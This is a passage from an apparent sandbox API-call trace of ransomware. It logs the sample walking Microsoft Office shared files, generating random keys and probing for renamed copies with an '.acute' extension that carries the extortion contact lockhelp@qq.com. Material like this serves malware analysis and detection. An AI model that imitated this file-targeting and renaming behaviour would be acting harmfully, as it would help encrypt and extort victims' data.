Shared\\TextConv\\MSCONV97.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.885] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.886] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=36712) returned 1 [0273.886] CloseHandle (hObject=0x378) returned 1 [0273.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0273.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.886] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.887] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=57248) returned 1 [0273.887] CloseHandle (hObject=0x378) returned 1 [0273.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0273.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.887] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.887] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=196976) returned 1 [0273.887] CloseHandle (hObject=0x378) returned 1 [0273.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0273.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.888] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.888] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=289648) returned 1 [0273.888] CloseHandle (hObject=0x378) returned 1 [0273.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 0x20 [0273.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.888] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.890] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=58766) returned 1 [0273.890] CloseHandle (hObject=0x378) returned 1 [0273.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0273.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.890] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.890] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=555) returned 1 [0273.890] CloseHandle (hObject=0x378) returned 1 [0273.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0273.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.890] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.892] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=69575) returned 1 [0273.892] CloseHandle (hObject=0x378) returned 1 [0273.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0273.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.892] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.893] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=513) returned 1 [0273.893] CloseHandle (hObject=0x378) returned 1 [0273.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf")) returned 0x20 [0273.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.893] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.894] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=100798) returned 1 [0273.894] CloseHandle (hObject=0x378) returned 1 [0273.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm")) returned 0x20 [0273.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.894] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.895] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=529) returned 1 [0273.895] CloseHandle (hObject=0x30c) returned 1 [0273.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf")) returned 0x20 [0273.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.895] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.896] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=69047) returned 1 [0273.896] CloseHandle (hObject=0x30c) returned 1 [0273.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm")) returned 0x20 [0273.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.896] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.897] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=534) returned 1 [0273.897] CloseHandle (hObject=0x30c) returned 1 [0273.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf")) returned 0x20 [0273.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.897] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.898] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=49850) returned 1 [0273.898] CloseHandle (hObject=0x30c) returned 1 [0273.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0273.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.899] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.899] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=551) returned 1 [0273.899] CloseHandle (hObject=0x30c) returned 1 [0273.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0273.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.899] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.900] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=55942) returned 1 [0273.900] CloseHandle (hObject=0x30c) returned 1 [0273.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0273.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.900] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.901] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=549) returned 1 [0273.901] CloseHandle (hObject=0x30c) returned 1 [0273.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0273.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.902] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program 